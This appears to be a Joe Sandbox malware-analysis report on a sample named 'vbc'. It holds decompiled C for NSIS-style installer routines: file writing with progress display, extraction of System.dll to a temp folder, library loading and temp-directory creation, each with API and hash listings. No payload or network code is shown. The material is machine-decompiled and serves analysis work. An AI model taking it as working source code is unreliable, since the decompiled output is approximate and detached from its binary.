						while(1) {
							_t98 = _a16;
							if(_a16 >= _t88) {
								_t98 = _t88;
							}
							if(E004034CF(0x41ea20, _t98) == 0) {
								goto L41;
							}
							if(E004060DF(_a8, 0x41ea20, _t98) == 0) {
								L28:
								_push(0xfffffffe);
								L42:
								_pop(_t65);
								return _t65;
							}
							_v8 = _v8 + _t98;
							_a16 = _a16 - _t98;
							if(_a16 > 0) {
								continue;
							}
							goto L44;
						}
						goto L41;
					}
					_t70 = GetTickCount();
					 *0x40d384 =  *0x40d384 & 0x00000000;
					 *0x40d380 =  *0x40d380 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t70;
					 *0x40ce68 = 8;
					 *0x416a10 = 0x40ea08;
					 *0x416a0c = 0x40ea08;
					 *0x416a08 = 0x416a08;
					_a4 = _a16;
					if( *_t14 <= 0) {
						goto L44;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E004034CF(0x41ea20, _t99) == 0) {
							goto L41;
						}
						_a16 = _a16 - _t99;
						 *0x40ce58 = 0x41ea20;
						 *0x40ce5c = _t99;
						while(1) {
							_t95 = _v16;
							 *0x40ce60 = _t95;
							 *0x40ce64 = _v12;
							_t75 = E00406A65(0x40ce58);
							_v24 = _t75;
							if(_t75 < 0) {
								break;
							}
							_t100 =  *0x40ce60; // 0x425a20
							_t101 = _t100 - _t95;
							_t76 = GetTickCount();
							_t96 = _t76;
							if(( *0x434fb4 & 0x00000001) != 0 && (_t76 - _v20 > 0xc8 || _a16 == 0)) {
								wsprintfW( &_v152, L"... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E0040559F(0,  &_v152); // executed
								_v20 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L44;
							} else {
								if(_a12 != 0) {
									_t77 =  *0x40ce60; // 0x425a20
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_v16 = _t77;
									L23:
									if(_v24 != 1) {
										continue;
									}
									goto L44;
								}
								_t78 = E004060DF(_a8, _v16, _t101); // executed
								if(_t78 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t101;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L42;
					}
					goto L41;
				}
			}

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APIs

GetTickCount.KERNEL32(000000FF,00000004,00000000,00000000,00000000), ref: 0040331E
GetTickCount.KERNEL32(0040CE58,0041EA20,00004000), ref: 004033C5
MulDiv.KERNEL32 ref: 004033EE
wsprintfW.USER32 ref: 00403401

Strings

A, xrefs: 0040347E
ZB, xrefs: 004033A2, 004033BD, 0040343A
... %d%%, xrefs: 004033FB
*B, xrefs: 004032DF
A, xrefs: 00403374
}8@, xrefs: 004032B4

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%$}8@
API String ID: 551687249-3683892814
Opcode ID: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
Instruction ID: 54ab186c05730647c672001b6e56d135182c7b51176e178f40f708a1e84a381e
Opcode Fuzzy Hash: d1cfd4714e4687a3a26bd4ac3846c46955ae89f51795138bd42b88bfc39313c7
Instruction Fuzzy Hash: E251BD31810219EBCF11DF65DA44B9E7BB8AF05756F10827BE804BB2C1D7789E44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405E83( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405E0C(E0040653D(_t81, 0x441000)), ??);
				} else {
					E0040653D();
				}
				E004067C4(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E00406873(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406008(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E0040602D(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E0040559F(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x434f88;
						goto L32;
					} else {
						E0040653D("C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp", _t83);
						E0040653D(_t83, _t81);
						E0040657A(_t77, _t81, _t83, "C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x1c)));
						E0040653D(_t83, "C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp");
						_t64 = E00405B9D("C:\Users\Albus\AppData\Local\Temp\nspDD94.tmp\System.dll",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x434f88 =  &( *0x434f88->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E0040559F();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E0040559F(0xffffffea,  *(_t86 - 8)); // executed
				 *0x434fb4 =  *0x434fb4 + 1;
				_t45 = E004032B4( *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x434fb4 =  *0x434fb4 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E0040657A(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E0040657A(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405B9D();
					goto L29;
				}
				goto L33;
			}

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0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32 ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00441000,?,?,00000031), ref: 004017D5

Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A

Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00425A20,74EC110C,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00425A20,74EC110C,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
Part of subcall function 0040559F: lstrcatW.KERNEL32 ref: 004055FA
Part of subcall function 0040559F: SetWindowTextW.USER32 ref: 0040560C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Strings

C:\Users\user\AppData\Local\Temp\nspDD94.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nspDD94.tmp$C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll$Call
API String ID: 1941528284-1200728318
Opcode ID: e76ef7c14b194b1d558144f9db04474b742f47f92f43e4e9c0b682ed5946015e
Instruction ID: 1e3f5e060805a06bac003644be00ba5f3fef1f2c353f2d3d357c0a6c5ca497fd
Opcode Fuzzy Hash: e76ef7c14b194b1d558144f9db04474b742f47f92f43e4e9c0b682ed5946015e
Instruction Fuzzy Hash: F4419371900108BACF11BFB5DD85DAE7A79EF45768B20423FF422B10E2D63C8A91966D

Uniqueness

Uniqueness Score: -1.00%

Function 0040559F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040559F(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x433ee4;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x434fb4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E0040657A(_t38, 0, 0x42c248, 0x42c248, _a4);
					}
					_t27 = lstrlenW(0x42c248);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x433ec8, 0x42c248); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x42c248;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x42c248[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x42c248, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

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APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00425A20,74EC110C,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000,00425A20,74EC110C,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
lstrcatW.KERNEL32 ref: 004055FA
SetWindowTextW.USER32 ref: 0040560C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Part of subcall function 0040657A: lstrcatW.KERNEL32 ref: 0040671F
Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000), ref: 00406779

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll, xrefs: 004055C0, 004055D0, 004055D6, 004055F9, 00405605

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll
API String ID: 1495540970-2508966711
Opcode ID: 738a72538bd68e99fc25cc5aeb13fda9b39fd06f1dca7185dcaff0c953f7535c
Instruction ID: 138a2a903332092674924c4fce2a37a83712bc812e9b86ab44911e1df8857bb6
Opcode Fuzzy Hash: 738a72538bd68e99fc25cc5aeb13fda9b39fd06f1dca7185dcaff0c953f7535c
Instruction Fuzzy Hash: C1219071900558BACF11AFA9DD84DDFBF75EF45354F14803AF904B22A0C7794A419F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040689A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040689A(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

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APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068B1
wsprintfW.USER32 ref: 004068EC
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406900

Strings

%s%S.dll, xrefs: 004068E6
\, xrefs: 004068C2
UXTHEME, xrefs: 004068A3

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction ID: 21628a1c63ce2f140fdd4d546058f3b0ba52bdb51e88dcb335987c0e659eada7
Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
Instruction Fuzzy Hash: D0F0F671511119ABDB10BB64DD0DF9B376CBF00305F10847AA646F10D0EB7CDA68CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405A6E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405A6E(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405a79
0x00405a7d
0x00405a80
0x00405a86
0x00405a8a
0x00405a8e
0x00405a96
0x00405a9d
0x00405aa3
0x00405aaa
0x00405ab1
0x00405ab9
0x00405abb
0x00000000
0x00405abb
0x00405ac5
0x00405acc
0x00405ae2
0x00000000
0x00000000
0x00000000
0x00405ae4
0x00405ae8

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
GetLastError.KERNEL32 ref: 00405AC5
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADA
GetLastError.KERNEL32 ref: 00405AE4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A94

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-4017390910
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 637b0a295f6611997b04f2fb2f8121e2d74ae93851c1d74b8ff7b710bfe1865b
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 1A010871D04219EAEF019BA0DD84BEFBBB4EB14314F00813AD545B6281E7789648CFE9

Uniqueness

Uniqueness Score: -1.00%

Function 73281817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E73281817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v136;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x7328506c = _a8;
				 *0x73285070 = _a16;
				 *0x73285074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x73285048, E73281651);
				_push(1); // executed
				_t37 = E73281BFF(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E7328243E(_t54);
					}
					_push(_t54);
					E73282480(_t67);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_push(_t54);
								_t37 = E73282655();
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x1018; // 0x1018
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E73281666(_t54,  &_v136);
								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
								_t18 = _t54 + 0x1018; // 0x1018
								_t72 = _t18;
								_push(_t54);
								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
								 *_t72 = 4;
								E73282655();
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							_push(_t54);
							E73282655();
							_t37 = GlobalFree(E73281312(E73281654(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E73282618(_t54);
							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x1008);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
								_t37 = E732815DD( *0x73285068);
							}
						}
						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E73282E23(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E73282B98(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E73282810(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x73281817
0x73281817
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0x00000000
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0x00000000
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0x00000000
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0x73281891
0x00000000
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0x73281886
0x00000000
0x00000000
0x00000000
0x73281886

APIs

Part of subcall function 73281BFF: GlobalFree.KERNEL32(?), ref: 73281E74
Part of subcall function 73281BFF: GlobalFree.KERNEL32(?), ref: 73281E79
Part of subcall function 73281BFF: GlobalFree.KERNEL32(?), ref: 73281E7E

GlobalFree.KERNEL32(00000000), ref: 732818C5
FreeLibrary.KERNEL32(?), ref: 7328194B
GlobalFree.KERNEL32(00000000), ref: 73281970

Part of subcall function 7328243E: GlobalAlloc.KERNEL32(00000040,?), ref: 7328246F

Part of subcall function 73282810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,73281896,00000000), ref: 732828E0

Part of subcall function 73281666: wsprintfW.USER32 ref: 73281694

Strings

, xrefs: 73281951

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 4606671b8831c3c661b6cbebacc9347888ea1b417c3e1c4865585c7f69f65894
Instruction ID: 50984e9d651121102e6edebaceb5b54fa93795519466b6b085e403dc143bfc0e
Opcode Fuzzy Hash: 4606671b8831c3c661b6cbebacc9347888ea1b417c3e1c4865585c7f69f65894
Instruction Fuzzy Hash: A941B6726003569BEB119F74E988BD537ACBF04314F188865E94B9E0C6DBB8E0C5C760

Uniqueness

Uniqueness Score: -1.00%

Function 0040605C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040605C(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a57c; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00406062
0x00406068
0x00406069
0x00406069
0x0040606e
0x0040606f
0x00406072
0x00406077
0x0040607a
0x00406084
0x00406091
0x00406095
0x0040609d
0x00000000
0x00000000
0x004060a1
0x00000000
0x004060a3
0x004060a3
0x004060a3
0x004060a6
0x004060a9
0x004060a9
0x004060ac
0x00000000

APIs

GetTickCount.KERNEL32(74EDD4C4,C:\Users\user\AppData\Local\Temp\,?,?,?,0040352B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040607A
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040352B,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406095

Strings

nsa, xrefs: 00406069
C:\Users\user\AppData\Local\Temp\, xrefs: 00406061

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
